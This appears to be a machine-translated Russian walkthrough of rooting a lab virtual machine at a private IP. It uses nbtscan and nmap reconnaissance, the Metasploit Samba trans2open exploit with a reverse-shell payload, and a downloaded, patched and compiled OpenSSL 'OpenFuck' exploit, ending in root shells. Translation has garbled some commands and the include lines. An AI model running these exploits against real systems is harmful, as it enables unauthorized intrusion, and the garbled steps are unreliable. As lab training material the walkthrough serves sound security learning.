Чтобы выполнить сканирование с помощью Nbtscan, введите в терминале Linux следующую команду:

Команда: nbtscan 192.168.36.129

Из вышеприведенного вывода кажется, что жертва или цель используют какую-то службу общего доступа SAMBA, поэтому наша следующая задача — узнать версию службы SAMBA с помощью Metasploit Framework.

Чтобы запустить Metasploit Framework, введите «msfconsole » на вашем компьютере с Linux.

Введите следующую команду под msf>:

Команда: use a additional / scanner / smb / smb_version
Команда: show options
Команда: set RHOSTS 192.168.36.129
Команда: запустить

Итак, здесь мы обнаружили версию службы SAMBA, которой является Samba 2.2.1a.

Итак, мы будем использовать эксплойт Samba Trans2Open Overflow, который доступен на Rapid7.

О Samba Trans2Open Overflow —

Это использует переполнение буфера, обнаруженное в Samba версий 2.2.0–2.2.8. Этот конкретный модуль способен использовать уязвимость в системах Linux x86, в которых не задана опция стека noexec.ПРИМЕЧАНИЕ. Некоторые старые версии RedHat не кажутся уязвимыми, поскольку они явно не разрешают анонимный доступ к IPC.

Вы также можете использовать команду « search trans2open », чтобы узнать все доступные эксплойты, связанные с указанной выше уязвимостью.

Введите «используйте эксплойт / linux / samba / trans2open » для использования вышеуказанного эксплойта.

Чтобы увидеть все доступные параметры, связанные с этим эксплойтом, введите « show options ».

Задайте цель с помощью «установить RHOST 192.168.36.129 » и запустите эксплойт.

Эксплойт, казалось, работал, но сеансы Meterpreter почти сразу умирали. Мы использовали полезную нагрузку по умолчанию ( linux / x86 / meterpreter / reverse_tcp ) и вместо этого попытались переключиться на « generic / shell_reverse_tcp ».

Чтобы установить полезную нагрузку, введите «set payload generic / shell_reverse_tcp » и затем запустите эксплойт.

Это сработало немедленно, и у нас есть корневая оболочка!

Вы также можете использовать эту виртуальную машину другим способом, например, с помощью Apache Exploit .

Для этого запустите сканирование службы Nmap для вашей цели с помощью следующей команды:

Команда: nmap -sS -A -n 192.168.36.129

Обратите внимание на открытые порты, такие как порт 80, используемые HTTP с Apache версии httpd 1.3.20 и порт 22, используемый SSH с OpenSSH версии 2.9p2. Последняя версия Apache — 2.4.29, и в этом случае версия нашего целевого сервера apache кажется очень старой, то есть 1.3.20.

После быстрого поиска в Google версий Apache и OpenSSL мы наткнулись на OpenSSL OpenF ** k Exploit !

Чтобы загрузить указанный выше эксплойт, введите следующую команду в терминале Linux.

Команда: wget https: // www.exploit-db.com/download/764.c

Теперь — прежде чем что-либо сохранять / запускать / компилировать, нам нужно отредактировать эксплойт, чтобы он заработал — поскольку он довольно старый!

Добавьте в заголовок следующие строки:

#include
#include

Обновите URL-адрес packetstormsecurity и замените его на « https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c »

Вот как это выглядит после замены;

Также установите libss1.0-dev с помощью « apt-get install libssl1.0-dev ».

Обновите объявление переменной в строке № 916 и добавьте const в начало unsigned char * p, * end .

Вот как это выглядит после добавления константы .

Теперь пришло время скомпилировать эксплойт с помощью компилятора GCC.

Для этого введите « gcc -o exploit 764.c -lcrypto “.

Давайте продолжим и запустим эксплойт, набрав следующую команду:

Команда: ./exploit 0x6b 192.168.36.129 443 -c 40

Ура! мы получили рут!

.

Добавить комментарий